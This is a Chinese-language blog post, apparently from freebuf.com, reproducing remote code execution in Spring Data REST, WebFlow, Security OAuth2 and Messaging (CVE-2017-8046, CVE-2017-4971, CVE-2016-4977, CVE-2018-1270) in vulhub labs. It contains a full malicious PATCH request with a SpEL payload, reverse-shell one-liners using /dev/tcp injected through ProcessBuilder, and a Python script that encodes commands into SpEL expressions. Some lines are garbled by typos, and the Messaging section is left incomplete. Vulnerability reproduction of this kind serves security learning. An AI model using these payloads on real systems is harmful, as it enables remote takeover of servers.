Spring Security Oauth2 远程命令执行漏洞 Spring WebFlow 远程代码执行漏洞 Spring Data Rest Spring Messaging 远程命令执行漏 – 作者:12qwasxz

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

1609746107_5ff2c6bb979c281911e03.png!small?1609746107385

漏洞复现

网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞原理

Spring data REST是一个构建在SPring data之上, 为了帮助开发者容易的开发REST风格的web服务,在REST API Patch 方法中(实现RFC6902),path的值被植入setvalue ,导致执行了SpELl表达式,触发远程命令执行结果。
Spring-data-rest服务器在处理PATCH请求的时候,攻击者可以构造恶意的PATCH请求并发送给Spring-data-rest服务器,通过构造好的json数据来执行任意的java代码

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3Spring Boot version < 2.0.0M4Spring Data release trains < Kay-RC3

参考链接:

http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/
https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html

环境搭建

使用vulhub搭建 docker-compose up -d

漏洞复现

http://UIP:8003/customers/1

PATCH /customers/1 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 202 [{ “op”: “replace”, “path”: “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname”, “value”: “vulhub” }]

1609746153_5ff2c6e91f8ecdbc1cd46.png!small?1609746153298
path 的值 是SpELl表达式,发送上述的数据包
new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。然后进入容器docker-compose exec spring bash看看:

1609746174_5ff2c6feac8ab3557a0f0.png!small?1609746174557

下面是反弹shell
命令:

bash -i >& /dev/tcp/UIP/Port/ 0>&1
此时不能够加上hhttp协议,因为不一定非是通过http协议进行的

base64编码:

参考网址http://www.jackson-t.ca/runtime-exec-payloads.html

然后对base64编码后的进行进制的转换

使用的是飞强的IP

使用以下的脚本进行进制转换:

python3
payload = b’touch /tmp/success’
bytecode = ‘,’.join(str(i) for i in list(payload))
print(bytecode)

1609746232_5ff2c7385d90c2976ec01.png!small?1609746233743

已经看到是成功的反弹得到shell

1609746276_5ff2c76487392da6389b0.png!small?1609746276525

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

漏洞的原理

Spring webflow 是一个射用于开发基于流程的应用程序的框架(如购物的逻辑),可以将流程的顶一个时间流程行为的类和识图分离开来,在其2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpELl白哦大师注入漏洞,最终导致任意命令执行。

参考连接:

https://threathunter.org/topic/593d562353ab369c55425a90
https://pivotal.io/security/cve-2017-4971

环境搭建:

docker-compose up -d
访问 http://UIP:8003

漏洞复现:

1609746313_5ff2c7895c4384448a25f.png!small?16097463163221609746331_5ff2c79b11bf64e37f478.png!small?1609746337100

然后切换到
/hosts/1
然后点击预定 book

1609746354_5ff2c7b2ae49678a84bbf.png!small?16097463564131609746369_5ff2c7c11a271a037374e.png!small?1609746368912
点击的时候进行抓包:

1609746390_5ff2c7d6ba4bdcb01c11a.png!small?1609746390413

此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):

payload 是核心的地方

_(new java.lang.ProcessBuilder(“bash”,”-c”,”bash -i >& /dev/tcp/10.0.0.1/21 0>&1″)).start()=vulhub

bash -i >& /dev/tcp/10.0.0.1/21 0>&1
这一部分进行url转码

1609746414_5ff2c7eeee9e6f5915124.png!small?1609746416214

1609746433_5ff2c801734f06c875a22.png!small?1609746433138

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

漏洞原理

核心是SpELl语言就会存在漏洞

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:

http://secalert.net/#CVE-2016-4977
https://deadpool.sh/2017/RCE-Springs/
http://blog.knownsec.com/2016/10/spring-security-oauth-rce/

运行环境

docker-compose up -d
直接访问页面 http://UIP:Port

漏洞复现

1609746463_5ff2c81f89523b968d245.png!small?1609746463355
访问: http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入admin:admin即可。

1609746479_5ff2c82fdc35643c635ed.png!small?1609746479665
可以见到我们输入的SpEL表达式已经执行了
1609746565_5ff2c885a2f870f0c9c58.png!small?1609746565724
所以我们尝试 上传一个反弹的shell , 然后点击登陆后就可以直接执行了
生成一个shell文件
POC代码如下:

#!/usr/bin/env python
message = input(‘Enter message to encode:’)
poc = ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0])
for ch in message[1:]:
poc += ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch) 
poc += ‘)}’
print(poc)

POC代码的出处:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

1609746591_5ff2c89fa63b894311a4a.png!small?1609746591744

1609746603_5ff2c8abdc8397f350251.png!small?1609746603582

已经监听到了:

1609746621_5ff2c8bd5a2af92f878e5.png!small?1609746621009

来源:freebuf.com 2021-01-04 15:52:44 by: 12qwasxz

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论